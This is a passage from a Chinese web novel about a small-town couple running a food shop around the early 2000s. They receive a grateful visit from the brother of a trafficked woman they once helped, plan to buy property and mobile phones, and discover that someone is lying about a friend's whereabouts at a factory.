“你还记得老宅那条街那个老光棍之前娶的傻姑娘吗?” “你是说……” 赵如月有些激动地说:“我给她家人打过电话,他家人找来要把她带走那天,你混到了前面的位置,见过她家人!除了这个,我也想不到还有谁了。” 宁绍明仔细回想后说道:“那个老板的口音,确实跟以前我们看过的那个特别火的电视剧《孽债》特别像!” 而且赵如月这么一说,他确实越想越觉得坐在店里喝粥的那个老板,跟那天他在老光棍家门口看到的傻姑娘的哥哥像。 “是不是,我们问问就知道了。”赵如月以前不太相信什么好人有好报。 但是事实摆在眼前,要不然他们夫妻俩又不是老天爷亲自生的,凭什么那么幸运? “直接问啊?”宁绍明有些犹豫,“万一认错人了呢?” “不问我就总惦记这事。” 一听她这么说,宁绍明直接妥协:“也是,还是得弄清楚,我去问吧,毕竟我可能见过他。” 宁绍明打算等他们快吃完东西,从后面院子出去,装作要收盘子和碗,再找机会问问。 然而计划赶不上变化。 他家的一个皮猴儿和一个小老头儿呼啦啦冲进店里,看到店里这个点竟然还有客人吃东西,紧急刹车差点刹不住。 宁时夏吐了吐舌头跟人家道歉:“不好意思不好意思,没吓到你们吧?我们还以为店里没客人了,我家东西卖得好,平时这个点都关门休息了的。” 客人和颜悦色地说:“没关系,你是这家店老板的小女儿?你叫什么名字?” “我叫小夏,大名宁时夏,这是我哥哥,叫宁时秋,你叫他小秋就行!” 宁时秋:“……人家没问我的。” “我们俩是一起的,当然都要介绍啦!”宁时夏看客人好说话,还挪过去问人家,“外面那个四个轮子的车,是你们的车吗?” “是我们的车,你喜欢吗?喜欢的话我可以带着你上去玩。” 宁时夏摇头,家里大人教过她很多次,不能随便上陌生人的车,她虽然好奇心很重,但警惕性也是很高的:“不用不用,我就是想问问那么大个车多少钱,我答应我爸爸妈妈以后给他们买一个这种四轮的。” “你真孝顺,我喜欢孝顺的孩子,这样吧,我们玩个小游戏,游戏叫猜字母,你要是能看懂我车子上的英文字母,然后大声念出来,我不但带你到车上玩,还带你哥哥和爸爸妈妈一起去,怎么样?” “真的吗?”宁时夏心动了,她其实还是很想看看,那个车里面是什么样、坐在里面跑起来又是什么样的? 她觉得想如果不是她自己一个人去,而是全家都去的话,有大人在,自己应该不会被坏人抓走吧? “真的!” “那我这就出去看看,这可难不倒我,我妈妈说,以前别人教我念的魔法咒语就是英语,我全都学会了呢!” 听到她这句话,客人眼睛泛红,眼眶里还隐约带着水光。 他飞快眨了眨眼睛,低声说:“幸亏有你,你真是个聪明的好孩子。” 第99章 赵如月和宁绍明从院子里出来,也听到了那位客人的话。 因此那位客人的身份,他们现在也不用问了。 看到他们出来,那位客人让司机带着孩子出去看车。 然后看向赵如月和宁绍明,主动说道:“你们好,我叫张彦君,我妹妹张彦清就是教你们家小夏‘魔法咒语’的人,之前没有主动自我介绍,是觉得家人还在调养身体无法亲至,我自己却一个人贸然前来太过唐突,不想打扰到你们,还请见谅。” 赵如月和宁绍明异口同声:“果然是你。” 赵如月顿了顿也介绍了一下自己和宁绍明的名字,接着问道:“你家人身体和精神状态,现在好转一些了吗?” 张彦君笑道:“她的身体不太好,还需要继续调理,不过精神状态在回家后就好很多了,她经历过那些事,也没有放弃自己,以后打算有机会的话,还会继续念书。” 赵如月:“真是谢天谢地,苦尽甘来了,希望她以后都能平安顺遂。” 张彦君本身并不迷信,但对家人的关爱让他不由相信,这一家人是妹妹的福星。 妹妹能得到赵如月的祝福,他打从心里高兴:“借你吉言,我回去后会将你的祝福转告给她的。” 其实张彦君本意只是想来看看,帮助了自己妹妹的人家现在过得怎么样。 他们是否还有自己可以帮忙的地方,顺手帮一把后就离开,不去打扰人家的生活。 因为当初他接到那通电话时,在电话里跟这家女主人说过,只要找到他的妹妹,自己可以给她丰厚的报酬,如果没找到,但线索有用,也会给报酬。 让她有什么需求都只管提出来,只要是他能力范围内可以做到的,不违反法律和道德的事,他一定做到。 可她却说不需要什么报酬,只要他来找人的时候,对这件事保密。 后来他顺着那通电话提供的信息,真的找到了妹妹。 而提供信息的人也果真没再给他家打电话,仿佛这件事没有发生过一样,显然恩人是真的没想过要什么回报。 可是张彦君的性格和教养不允许他做一个知恩不报的人。 那天来榕溪镇营救自己妹妹时,他除了自己带了一些人,也求助了榕溪镇所属的云山县相关部门的帮助。 并承诺过,等他成功把妹妹带走后,会给云山县因资金不足而停滞的工业园项目投资。 这次张彦君主要也是为了这个项目而来,工业园的位置就在城北。 如果城北要拆迁的内部信息没提前泄露出去。 赵如月夫妻俩买下那四间房后,再过两三个月就会接到拆迁的消息,根本不用那么折腾,他也不会特地往镇上走这一趟。 张彦君对这个地方的感觉十分复杂,这里有花钱买老婆的光棍,却也有帮助过他家人的好心人,他既无法单纯地憎恨这个小镇,也没办法对这个地方有好感。 “老板的厨艺那么好,你们有没有想过去更大的城市发展?”张彦君问。 “以前想过,后来还是觉得踏踏实实、稳扎稳打,比较适合我们这样白手起家的人。”宁绍明以前还真想过直接去城里开店。 可那时候他们夫妻俩,只是两个出去打过一年工的人,兜里有一点本钱,但他们没有一点开店的经验。 家里更是没有做过这一行的长辈教导引路,只能夫妻俩自己摸索着来。 可他们还有孩子要养,有些人觉得养一个孩子就是添一双筷子的事,给读到初中就不错了,可以出去打工挣钱了。 可他不愿意这么养自家的孩子。 所以在做什么决定之前,他的顾虑就比较多,得考虑万一失败的话,会不会委屈到老婆孩子。 看别人开店好像很容易,好像弄个门店,有个厨子,有人收钱招呼客人就行。 实际自己做了之后,才会发现并没有表面上看上去那么简单。 怎样才能既控制成本,还能尽量维持出餐的品质?食材、耗材跟谁买划算,价格怎么谈?谈好之后又过一段时间,质量下降如何处理? 遇上吃饭不给钱还耍赖的怎么办?遇上收保护费的和故意找茬的又怎么办? 还有客人早上来店里吃东西,过去一天了,晚上回家肚子疼,还跑来说你家东西有问题的又该怎么解决? 一桩桩一件件都是事。 更何况那些还不是最难搞的,比那些更难搞的是应付各种检查。 去陌生的地方,就要搞清楚管那一片的是什么样的人以及他们的各种亲缘关系。 要不然万一不小心得罪了不该得罪的人被人整,三天两头被检查,生意被影响,客人跑光了可能都不知道怎么回事。 甚至想送钱找关系解决,还不一定找得到人家门往哪儿开。 赵如月也附和道:“我们在镇上,好歹是本地人,这就避免了很多麻烦。” 他们不但只需要解决门店、资金和食材成本这些比较好解决的事,还能有许多便利。 比如买肉,直接去宁绍明姐姐家买,从来没买到过不好的肉。 他们买的羊也是,有时候站在家门口,就能看到养羊人早上赶着羊上山吃草,傍晚又赶回来,根本不用担心人家用什么不好的东西喂。 至于后面的那些问题,他们开店以来几乎没遇到过。 毕竟镇上人互相低头不见抬头见,可能在街上遇到一个人都是拐着弯的远房表亲。 谁家跟谁家是亲戚,谁跟谁背地里又是什么关系,不用问都知道。 选老家作为起步的地方,挣得可能不如在城里多,但胜在一个稳当。 俗话说万事开头难,店能稳稳当当地开起来,站稳脚挣到钱、顺带积攒一些做生意的经验,已经是一个很好的开头了。 张彦君明白了:“知足常乐,挺好。” 他看着开开心心往这边跑,边跑边嚷嚷的宁时夏,跟在她身后碎碎念让慢点跑,小心摔跤的宁时秋,再看向面对孩子不自觉露出微笑的夫妻俩。 他们的快乐如此简单。 张彦君决定不在过多干涉人家的生活,当然如果有幸能与他们跟朋友一样相处来往,感觉应该也很不错。 宁时夏跑得小脸红扑扑,在张彦君面前站定,抬起头:“叔叔,你那车上的字母,可太简单了,我看一眼全都会!” 张彦君蹲下身:“那你念给叔叔听听。” 宁时夏一个一个认真地念完,张彦君点点头:“听说你爸爸晚上要去县城的夜市街摆摊,我今天开这个车送你们去好不好?” 宁时夏又想试试这种矮矮的四轮车,又有些为难:“可是我们跟郑秀阿姨说好了,晚上坐她的车去县城,我们不坐郑秀阿姨的车,她就不能挣钱了。” 张彦君说:“我的车只能坐五个人,我开车载你们家四个人刚好五个,让另一个司机叔叔去坐你们郑秀阿姨的车可以吗?” 宁时夏看向爸爸妈妈。 赵如月点点头说:“这样也可以。” 他们今天准备的东西比较多,还有摆摊要用的桌椅什么的。 小轿车后备箱可能还放着张彦君的行李,或者一般司机都会在车上随车携带的瓶装矿泉水,不一定能放得下自家的东西,郑秀的车不会用不上。 不过他们家晚饭还没吃,赵如月和宁绍明就邀请了张彦君和他的司机到家里,一起吃顿便饭。 张彦君欣然答应,但是他的胃确实不太好,今天胃疼也真不是装出来的。 看到宁绍明做的菜,他吃过之后觉得味道很好,很想吃,却只能很克制地尝一点现在自己能吃的几样。 “张先生,我三叔是中医,你要是不介意看中医的话,吃完饭我可以带你去我三叔家,让他帮忙看看。”赵如月觉得人不能好好享受美食,人生的快乐简直要减少一半,所以才提了一嘴。 张彦君想到她的姓氏,问道:“你三叔是不是叫赵任?” “对,你也听说过我三叔的名字?”赵如月有些意外,她知道三叔医术挺厉害,但真没想到那么厉害,竟然已经传到沪市那边去了? 张彦君说道:“我看过的一个医生说他跟在赵任老先生身边学过一段时间,还建议我来云山县的话,可以找老先生看一看。” 他找人查过赵如月和宁绍明最近遇到的事,也了解过他们的家人,只是也就查到他们父母和兄弟姐妹这一层。 更远的因为觉得没必要就没让人查,要不然老一辈有那么多兄弟姐妹,又都生了好几个孩子,需要查的也太多了。 “那我先去给我三叔家打个电话说一声,吃完饭就能直接过去。”赵如月觉得他应该不是很喜欢榕溪镇,尽量能不来这里勾起不好的回忆,最好就不要来。 今天带他去,也省得人家再跑一趟。 要是张彦君让她三叔看过之后,觉得有用,就把三叔的联系方式给他。 这样以后不管是需要复诊,还是调整用药,他都能自己约三叔去县城帮他看。 她三叔也不是成天窝在家里不出门的,有些病人不方便来,他也会去县城或者市里给人家看病。 听说她三叔也计划着,准备在县城开一家医馆了。 赵如月给三叔家打了电话,约好时间后,只负责到点把人带过去,接下来的事她就不管了。 张彦君进了三叔的医馆,她就在外面等着,顺便跟忙起来有一段时间没见的三婶和堂弟弟妹们聊天。 聊着聊着还在她们口中,听说了一些娘家人没跟她说的事。 三婶问她:“你爸妈说你让他们先别买电视?” 赵如月:“对,之前觉得电视会降价,就让他们先别买,现在电视的价格果然比他们说要买的那时候降了不少,我觉得还会继续降。” 其实是她儿子觉得还会降。 “其实现在买也差不多了,你不知道,你爸妈家隔壁那小孩有多厉害,你侄子光伟去他家看电视,被他见着就骂光伟是乞丐,让光伟滚出他家,不许去他家看电视。 本来光伟都不去了,后来那小子又假装重新跟光伟和好,哄着光伟去了他家,他又翻脸赶光伟出来,说光伟不要脸!也不知道他家大人是怎么教的!” 赵如月皱眉:“我记得隔壁家以前跟我娘家人处得挺好,几十年的邻居了,他家人怎么变成这样了?” 三婶说:“你还记不记得你家后面那一块地?” “记得,那是我爸妈开山搬石头整理出来的地,准备开荒之前还问过隔壁家,他们说那种石山地,开出来也没用,我家乐意干就自己干。” 她三婶继续说:“没错没错,我记得也是这样的,他们家现在几个儿子要分家,宅基地不够分,问你爸妈能不能把后面那块地卖一半给他们家,但是只愿意给一千块钱! 就那一千块钱,还想买镇上那么大一块地?他们还以为是十几年前呢?! 你爸妈觉得价格不合适,不乐意卖给他们家,他们就恼了,我觉得八成就是为了这事,就教唆他家孩子欺负光伟,要不小孩子哪会这些? 可光伟也太老实,被骗一次还不长记性,有可能也是太喜欢看电视了,昨天又被骗一次,所以我就想跟你说一下,这电视能省钱很好,但是该买也就买了吧,孩子爱看电视,不如让他在家看。” 赵如月听完气得想冲娘家把隔壁家全揍一顿,飞快在心里念了句:打架不好,打赢坐牢,打输住院。 才稍稍平息了怒火,对三婶说道:“我知道了三婶,改天抽空就去帮我爸妈把电视买回去。” 半个多小时后,张彦君从医馆出来,脸上的表情比进去时轻松许多。 他还手上提着几包药,看来对她三叔的医术还是挺满意的。 赵如月带着张彦君回到店里,郑秀已经到了,宁绍明正在往她面包车后备箱里放椅子。 看到他们回来,对赵如月说道:“摆摊东西已经全都搬上去了,去把你的书包拿出来,我们随时都能出发。” 张彦君的司机已经把他车子的车门打开,让宁时夏和宁时秋上车玩了。 她好奇地在里面这里摸摸那里看看。 赵如月上车后,车子开出去一会儿,她正想问问闺女感觉怎么样。 一转头,就看到孩子已经睡着了,看来这车坐起来确实很舒服。 宁时夏一觉睡醒,发现自己躺在夜市街,她爸把三张椅子组合在一起,成了一张简易的床让她躺着睡。 她哥借了隔壁的折叠椅,坐在简易床没有椅背那一面的中间,防止她往下滚。 摊子的生意跟以前一样好,有好几个人正在选钵仔糕。 宁时夏拽了拽她哥短袖帽衫后面的帽子:“哥,我醒了。”她在车上睡着太快,还没能跟家里人讨论张叔叔的车坐起来怎么样。 现在一睡醒,就有一肚子的话想找人说。 “知道了,醒了我们就去给爸爸帮忙。”宁时秋站起来,把折叠椅还给隔壁。 宁时夏穿好鞋子,倒出一点自己小水壶里的水沾湿自己的小手绢,擦了擦脸,跑到爸爸身边。 一边帮忙小嘴巴一边在那里叭叭地说,从车子里的座椅到味道、窗户到地垫叽叽咕咕说了半天。 然后得出一个结论:“张叔叔的车比较好。” 接着熟练地给爸爸妈妈画大饼:“我以后就给你们买那样的车好了,不过要是你们喜欢面包车,买面包车也行,就是我觉得,买张叔叔那样的车比较划算。” 她以为车按照大小来卖,就觉得拉甘蔗那种大卡车是最贵的车。 张彦君这个车子小,所以觉得这个车子应该会比面包车便宜。 宁绍明就算没认真了解过车子的价格,多少也知道,车头是‘人’字标的车子很贵。 不过他也没打击女儿的孝心,高兴地说:“好,爸爸等着咱们小夏给爸爸买车,等二十几年后,你长大了,就给我们买跟你张叔叔的车一模一样的车子。” 二十几年后,孩子不一定还记得自己说过什么,但现在孩子那么小就这么有孝心,他光是听着心里就很熨帖了,买不买又有什么要紧的呢? 就算以后她还记得小时候说过的话,真要给他和媳妇儿买,那个车肯定也没现在那么贵了。 今天忙碌了一天,晚上回到家盘账的时候,赵如月和宁绍明才算是有了自己的时间。 边算今天挣了多少钱,边商量今天赵如玉打电话回来说的事。 赵如月问宁绍明:“这件事你怎么想的?买还是不买?” 宁绍明的心情经过半天沉淀,现在想起下午捡起的那张地图时,已经不会特别兴奋了。 “张先生让我看到那张地图,应该是想暗示我们去要拆迁的地方买房,但是我看那张地图上工业区的分部,那四间房,虽然不在拆迁范围内,也在前往工业区的必经之路上,又那么贴近工业区,在那里开店,生意应该不会差。” 宁绍明现在有点纠结,如果不找拆迁范围内的房子买,那就白费了张彦君的一番好意。 可是不买那四间房,宁绍明也觉得很可惜。 一个是意外得来的巨款,一个是可以下蛋的金鸡。 实在让人很难抉择。 赵如月听他长吁短叹半天,也没得出个结果,无语地放下笔,觉得这事最后还是得自己来决定。 “你不是说有一个要拆迁的地方,几乎没人想过那地方会拆?那位置应该比较偏,房子估计也比较老旧,房价肯定不贵。 我们把不在拆迁区域那四间房价格压到八万,剩下五万去那里买房,能买到什么样的就买什么样的,买不到或者买得少了也别觉得遗憾,不再惦记这个事,你觉得这样行吗?” 这是赵如月能想到的比较两全其美的方法了。 宁绍明一拍脑袋:“还是你聪明,我这个脑子,有时候总转不过弯来。” 他本来认为自己在面对这件事时,内心已经可以很平静了,但事实告诉他,没有,他这几天估计都没办法彻底平静下来。 “这段时间你可得好好看着我,我怕我得意忘形,在外面露出马脚来。”这种事能低调还是要低调,要不以后肯定有数不清的麻烦找上门来。 “你不怕我也得意忘形?” “你能这么说,说明你比我淡定多了,我媳妇儿一向有大将风范,是这个!”宁绍明给她比了个大拇指。 赵如月忍俊不禁道:“少贫了,明天还要早起,你快抓紧时间休息吧,我明天去县城再给如玉回电话。” 宁绍明问:“怎么不在小卖部打?” “这么重要的事,我可不敢再在小卖部说了,要不我前脚挂了电话走出小卖部,后脚我说的话就能传遍整条街!”赵如月对镇上人的八卦能力真是心有余悸了,“你说,要不我们也在家里装个固定电话?” “你不是说太贵了,不划算?” 赵如月现在已经改变了想法:“如果能保护自家隐私的话,这些钱花出去也值。” 宁绍明点头说:“那我明天不忙的时候去营业厅问问,现在安装电话初装费是多少钱,听说现在没有以前那么贵了。” 至于老宅那个电话,相当于是肉包子打狗,他们出的钱,肯定是不好拿也拿不回来了。 只能当是花钱买个教训,吃一堑长一智,让他们自此对于跟别人合买东西这个事敬谢不敏。 赵如月说:“你带点钱去,要是价格合适,你就让人尽快来装,镇上装固定电话的人不多,应该不用预约排队。” 两人说着说着就睡着了。 赵如月次日到县城,给赵如玉打电话,听她说今天下午可以休息,就约了她出来一起吃个饭。 吃饭的时候,赵如月顺便把他们还是对那四间房挺有兴趣的事说了。 “不过这次可不能随他们说多少钱,我们就给多少钱了,我们最多给八万,他们能卖就卖,不卖就算,我们手上有钱,还怕买不到房子?” 赵如月说着想起那兄弟俩毁约时说的话,把他们不想赔偿还话里话外威胁自己和宁绍明的事也跟赵如玉说了。 赵如玉一听,要不是还在饭店里,她气得简直想拍桌:“他们俩竟然还敢威胁你们!真是知人知面不知心,在我公公和我老公他大哥面前,装得跟什么贤良好人似的,没想到背地里竟然是这么一副面孔! 姐,你放心,这次我让我老公他大哥帮忙转告你们的意思,就八万,多一分也没得谈,他们不接受就拉到,大不了我以后再给你们找更好的房子! 要是他们接受,什么时候交付房款你跟我说,到时候我和我老公陪你们一起去。” 有堂妹这话赵如月就放心了。 吃完饭,赵如玉回单位上班,赵如月看着她离开后,想着堂妹帮自己这么多忙,她总不能一顿饭就把人家打发了。 自己好像也没什么能帮得上堂妹或者她家人的事,要不买点东西送她? 想想又觉得不行,送的东西太贵了,显得太见外,而且人家不一定需要。 赵如月想着这个事,一路往学校走。 恰好这天上课时,老师的包里突然响起一阵轻音乐。 “不好意思,我的小灵通忘记调静音了。”老师急忙走过去,打开她的包。 拿出一个仅有半个巴掌大的小巧移动电话,原本她是想把电话摁掉继续讲课。 却在看到显示的来电人名字时愣了一下,接着抬起头又说了一句:“我有个紧急的电话要接一下,大家先自己看书,耽误大家的时间,我下课后补上。” 说着急忙往外走去,接起电话。 老师走后,大家也没有看出的心思,注意力全在刚刚她手上那个小电话上,纷纷开始议论,教室里说话声嗡嗡响。 班上没人不知道小灵通,但没一个有,发现老师竟然有,感觉还挺新奇。 “老师竟然有小灵通,以前怎么没见她用过。” “应该是在县城没法用吧,听说县城没有基站,小灵通在市里才有基站信号来着,我们老师主要工作地点还是在市里的主校区,因为要给我们夜校培训班上课才会来县城的。” “不对吧,我听说的是,在市里基站覆盖的地方,信号会比较好,超出基站覆盖范围信号就会减弱,到我们这里不是没有信号,是信号太弱了。” “那跟没有信号有什么区别?” “可老师刚刚接到电话了,我们县城现在竟然也能接收到小灵通信号了吗?” “不知道,也没听说啊……” “要是我们县城也能建了基站,能接收到信号,为什么新华书店那边没有小灵通卖?” “为什么小灵通要在新华书店卖?MP3、MP4、录音机、学习机那些,还能说是帮助学生学英语的学习工具,可电话跟那个不沾边吧?应该在电话营业厅卖啊!” “这你就不懂了吧,我听说新华书店是县里某个领导的小舅子开的,这么说知道什么意思了吧?” “懂了懂了。” 赵如月听到班上同学的话,终于解开了在县城很少看到手机的疑惑。 不过现在老师能接电话,是不是说明,县城也有基站了? 如果是真的,她或许可以找请范小蓉帮忙买一个寄回来。 老师出去打了十几分钟电话才回来,下课后拖堂了二十分钟把耽误的时间补上。 上完课,赵如月和她的同学们没跟以往一样抓紧时间收拾东西赶回家。 而是围着老师问起她的小灵通。 这个问:“老师,你的小灵通是在市里买的吗?能不能说一下多少钱?让我有个奋斗的目标。” 老师还没来得及回答,那个又问:“老师,你的小灵通在县城信号怎么样?我也想买一个,就是担心买回来信号太差没法用。” “老师,听说小灵通可以玩游戏,是不是真的?” “不会吧,那么小个屏幕怎么玩?” “怎么不能玩了?听说可以玩俄罗斯方块、贪吃蛇和推箱子!” “哎呀你想玩游戏去游戏厅玩去!老师你的小灵通一个月的月租是多少钱?跟固定电话比起来,哪个更划算点?” 一群人叽叽喳喳,让他们老师恍惚以为自己教的不是成年人,而是一群表达欲旺盛的小学生。 “好了好了,我一个个回答,我的小灵通是在市里买的,花了八百块钱,还送了八百块钱的话费,月租二十,每个月打电话超过套餐规定的时常就要另外花钱……” 赵如月一听,觉得这个价格还挺便宜,她可以给堂妹夫妻俩都送一个。 离开教学楼后,赵如月在校门口上了郑秀的车:“郑师傅,麻烦你等下开车的时候,跟我一起注意一下路边的公用电话亭,遇到就停一下,我想下去打个电话。” 以前赵如月管郑秀叫郑姐,后来她们开玩笑,郑秀学着老派干部的语气说:“这位同志,在工作中,请称呼我的职务,郑师傅!” 赵如月笑得不行,说:“哪有师傅这个职务?等我学成出师,是不是也成赵师傅了?” 郑秀憋着笑,装作一本正经的样子点头说:“当然,到时候让你家宁师傅和小秋小夏都多叫几声,让你过把瘾!” 两人在车上笑过一通,赵如月玩笑地叫她几次郑师傅后,慢慢就习惯了,现在也一直这么叫。 连带着其他乘客听到了也跟着这么叫她,把郑秀乐得不行。 她们很快遇到了一个电话亭,赵如月下车从书包里拿出电话卡。 这通电话是给范小蓉打的,她现在总是下意识地觉得,电子产品在羊城买更便宜,所以想先给范小蓉打个电话问问。 电话通了之后,跟赵如月跟以前一样,跟对面说:“你好,麻烦帮我找一下范小蓉,我五分钟之后再打过来可以吗?” 以前接电话的人都是应一声‘好的’就挂掉,这次却用有些微妙的语气说:“你找范小蓉啊?她不一定在。” 赵如月听出不太对劲,还以为范小蓉现在工作的地方,有人知道了她以前在鹏城经历的事,把这件事传扬开了。 有些担心地问:“请问她今天是晚班吗?还是厂里有什么事不方便?如果现在不方便的话,我明天再打来。” “明天她也不一定在,最近厂里要派人去小榄那边的分厂带新人,她被选上了,不知道什么时候才能回来,你可以跟我说一下你的名字和联系电话,等她什么时候回来了我再跟她说一声,让她给你复电。” 接电话的人多说了这几句,赵如月仔细分辨才听出来,这次接电话的人跟以前接电话人,虽然都是年轻女性的声音,有些相似,但她们声音确实是不一样的。 而且赵如月大概在十天前收到过范小蓉的信,她没在信上提到过分厂的事。 厂里领导派人去分厂,也不可能一拍脑门决定就马上让人去,肯定有个提前选人、准备的过程。 范小蓉在工作上有变动,也不会不提前跟她说。 赵如月听出不对劲,直接拒绝了:“谢谢,不过不用了,我给她在羊城的亲戚打电话,让她亲戚帮忙转告一声,也是一样的。” 说完赵如月也不听电话那头的人又说了什么,直接挂断了电话。 第100章 “喂?喂!”电话那头的人听到电话挂断后嘟嘟嘟的声音,气急败坏地用力把话筒拍进话筒槽,低声骂道,“呸!真是死脑筋,干什么非要找范小蓉买,同一个厂子,找我拿货优惠不也一样!” 另一头,赵如月又打通了范小蓉她小姨的电话。 果然,范小蓉的小姨也没听她提过什么分厂的事。 “她租的房子就在我家租的房子楼上,我们几乎每天都会见面,真被调去分厂的话,我们不可能不知道的,她今天上晚班,等她回来,我问问她怎么回事,到时候让她给你打电话。” “好的,麻烦你了。”赵如月挂了电话,心想:还真是有猫腻,范小蓉明明在厂里,接电话的人却对她撒谎。 难道那个接电话的人跟范小蓉有矛盾? 可是赵如月还是想不明白,就算她们之间有矛盾,对自己撒谎又有什么好处? 接电话的人不会忘了,只要范小蓉还在厂里,自己就算今天没能联系上她,改天换别的方式也能联系上她吧? 反正给堂妹送东西的事不用着急。 赵如月挂了电话就上车回家了。 回到家后,发现家里有一点不一样。 “这么快就把电话装上了?”她惊讶地围着电话看了一圈,问道,“现在可以用了吗?” “可以,我去营业厅问的时候,听他们说现在装电话只要一千出头,我感觉很划算,就付钱了,也没想到现在效率这么高,当天就能来装,以前装老宅的那台,等了多久来着,一个月有吧?” “不到一个月,但也差不了几天,可能那时候镇上还没有营业厅,是县城派人来装的所以比较慢?” 宁绍明说:“过去那么多年,我也记不清了。” 赵如月拿起话筒,想在给范小蓉的小姨打个电话,告诉她们自己家的电话号码。 但是想想都这么晚了,人家可能明天还要上班就没打。 “房子的事,我今天跟如玉见了一面说好了,她到时候带着她老公一起跟我们去签合同交钱,我想着她帮过我们不少忙,这次总不能让人家白跑一趟,怎么也得送点东西表示表示。” 宁绍明也赞成她的话:“是这个道理,你觉得送什么合适?” 赵如月就把上课时发生的事告诉了他:“送小灵通比较时髦,还很实用,我和你也买一台,就说有优惠,顺手给他们买了,这样他们看到我们自己也有,也不好拒绝,东西才送的出去,不过其实我自己也是想买一部回来用,移动电话确实更方便。” “早知道小灵通那么便宜,我们是不是不装固定电话也可以?”宁绍明现在倒是觉得电话装太快了。 不会是营业厅那边的人知道县城能用小灵通了,以后会影响到固定电话的使用率,所以效率才那么高吧? “装都装了,就别去想它划不划算,越想心越赌,对身体没好处,你往好了想,等买了房子和烤箱,把县城的店开起来,手头有余钱后,我们也买一台电脑,等那时候固定电话用不上,可以用来给电脑拨号上网。” 实不相瞒,赵如月盯着这个小生意很久了。 下载十首歌就收五块钱,别人买一台MP3,不可能只下载十首歌。 现在网速虽然比较慢,但她可以提前把流行歌曲和电影电视剧下载到U盘里,再复制到人家的设备,速度不知道多快。 等到把买电脑的钱赚回来后,这就相当于是无本买卖,他们家孩子学会了都能操作。 以他们在这个小镇的落后程度,赵如月觉得这个生意估计能做个十年八年的。 赵如月这么想,也就这么对宁绍明说了。 宁绍明跟她不一样,他不太了解这个东西,听她描述的时候,感觉云里雾里的。 赵如月说半天,他来一句:“不太懂。” 把她噎得梆梆梆敲了他几下:“我改天去新华书店买几本关于计算机的书回来给你看。” “给我买那些,还不如买几本食谱。” “少来,这是强制性的命令,你必须看,要不以后你不会玩电脑,我跟几个孩子都在网上跟人聊天,也没人搭理你,你就在旁边干看着吧!” 她这么一说宁绍明就急了,也觉得什么书都能看得下了。 再不懂电脑,他也听说过电脑里有个什么网,可以跟天南海北的人聊天。 到时候万一有不要脸的勾引他老婆怎么办,危机感让宁绍明决定好好学习,最好学得比老婆还好。 然而这注定是不可能的了。 赵如月说买就买,第二天就去了新华书店,把计算机相关的书买了好几本带回来。 宁绍明还在哼哧哼哧慢慢啃书的时候,她看得飞快。 很多东西,赵如月觉得自己一看就会了,甚至还蠢蠢欲动地想着,要不要自己装一台电脑,避免被坑的同时,也能给家里省点钱。 以前她极少有这样的自信,可能是在家里闺女经常特别直白又毫不吝啬话语地夸奖她,还总是用崇拜的眼神看她。 也可能是在夜校系统的学习,夯实了她的基础。 现在赵如月觉得自己像是从飘荡小船上下来,走到岸上的人,双脚踏在坚实的土地上,不再虚浮,让她不知不觉中对自己多了许多信心。 而且两个人私下比谁对看完的书了解透彻时,赵如月屡屡获胜。 虽然赵如月觉得自己借着自己上辈子对电脑的了解赢宁绍明,有点欺负他的意思,让自己稍稍有点心虚。 因为宁绍明上学时成绩比她好来着,她偏科太严重了。 但转念一想,欺负自己老公算什么欺负。 她转头就把这点心虚抛到脑后了。 两人正看着书,小卖部老板娘的孙子跑来叫她:“如月阿姨,有你的电话!” “来了——”赵如月高声回应后,放下书站起身,“应该是小蓉的电话,我去跟她说一声我们家的号码,等会儿回家里聊。” 她这次要问小灵通的事,要是在小卖部那边说,免不了又要被问东问西。 虽然她知道怎么应付那些大娘大婶,但是把时间精力浪费在这上面,总感觉亏得慌。 赵如月出去没几分钟就回来了,她家昨天装电话的事,电话还没装好,估计都已经在镇上传遍了,今天也就没人特地问她。 她很快走到家,宁绍明指了指家里的电话跟她说:“小范的电话。” 赵如月快步走过去,把话筒拿起来,半是埋怨半是无奈地说:“挂电话前,我不是都叮嘱你了,别在那边给我打电话,等我自己打过去就行,跨省话费太贵了,你个小姑娘挣钱不容易,我们俩现在日子比之前好过多了。” 范小蓉笑着说:“那也不能总是让你花钱,更别说这次我还有事想请你和姐夫帮忙。” 赵如月:“什么事你说,能帮上我尽力帮。” “姐,要不先说你找我有什么事?我那个事,其实我自己也还没考虑好。”只是为了岔开话题,不让赵如月挂电话再打过来,她才提前说了。 “也行,我那个事也简单,就是想问问你,羊城那边的小灵通多少钱?在老家这边,得去市里买,听我老师说,市里一台小灵通七八百块钱,还送话费。” “那听划算的,羊城这边也差不多,而且你买小灵通还得办电话卡才有话费赠送,如果在羊城这边买的话,不办电话卡,赠送话费的优惠就没有了,要是办手机卡,带回去用就成跨省漫游,话费会很贵。” 赵如月了然,是她太想当然了,却忽略了手机卡和后续话费充值,是否能跨省充值的问题。 她自己也不知道,话费不能跨省充值是什么时候取消的,还不如直接在市里买来的方便。 “我明白了,改天抽空我们还是去市里买,到时候还能顺便把电视也一起买了。” “电视在这边倒是不贵,现在流行等离子电视,那个比较贵一些,最低也得七八千,高的三四万,普通的彩电价格反而降了不少,前几天我跟工友去逛电器城,21寸的彩电最低竟然只要几百块钱,知名一点的牌子,一千多两千多都有。” “看来电视的价格是真降下来了,县城这边也就比羊城那边高一点,没有跟MP3一样,翻倍卖的程度。” 赵如月决定去市里买小灵通的时候,顺便也把电视买了。 “对了,昨天我打电话到你厂里宿舍区的小卖部,接电话的好像不是以前接电话的那个人,我问她你是不是上夜班,她骗我说你不在厂里,被派到分厂去带新人了,是不是那边有人针对你? 如果真有人欺负你,你可别自己一个人憋着,羊城厂子那么多,在哪里打工不是打工,大不了换一个。” 范小蓉被人使绊子的时候,难受想哭还能咬牙硬撑着不表现出来,担心别人看出来会看低了自己,觉得自己好欺负。 现在有人关心,她眼泪就忍不住了。 听到她在那边抽泣的声音,赵如月忙安慰道:“如果在那边待得不开心,回来也行,你姐夫准备在县城开分店,你回来可以在县城的分店帮忙。 在县城也不用太担心被会你爸和你继母遇到,现在你长大了,身高和长相都有改变,恐怕迎面从他们面前走过去,他们还不一定能认得出你。 而且自从你不寄钱回来,你爸和你继母一年到头也去不了一次县城。 当然老家县城的工资,肯定没有在羊城高。” 她的安慰,总算让范小蓉心里没那么难受了。 她擦了擦眼泪说:“姐,其实我想请你帮忙的事情,可能就跟那个人有关。” 赵如月:“什么事你只管说,就算没想好,也不是说出来就不能改变想法了。” “我们厂里没开分厂,而是在羊城的市中心开了一个销售点,要选几个人去当业务员,专门负责卖我们厂自己牌子的MP3,本来这没我什么事,我就是个流水线工人。 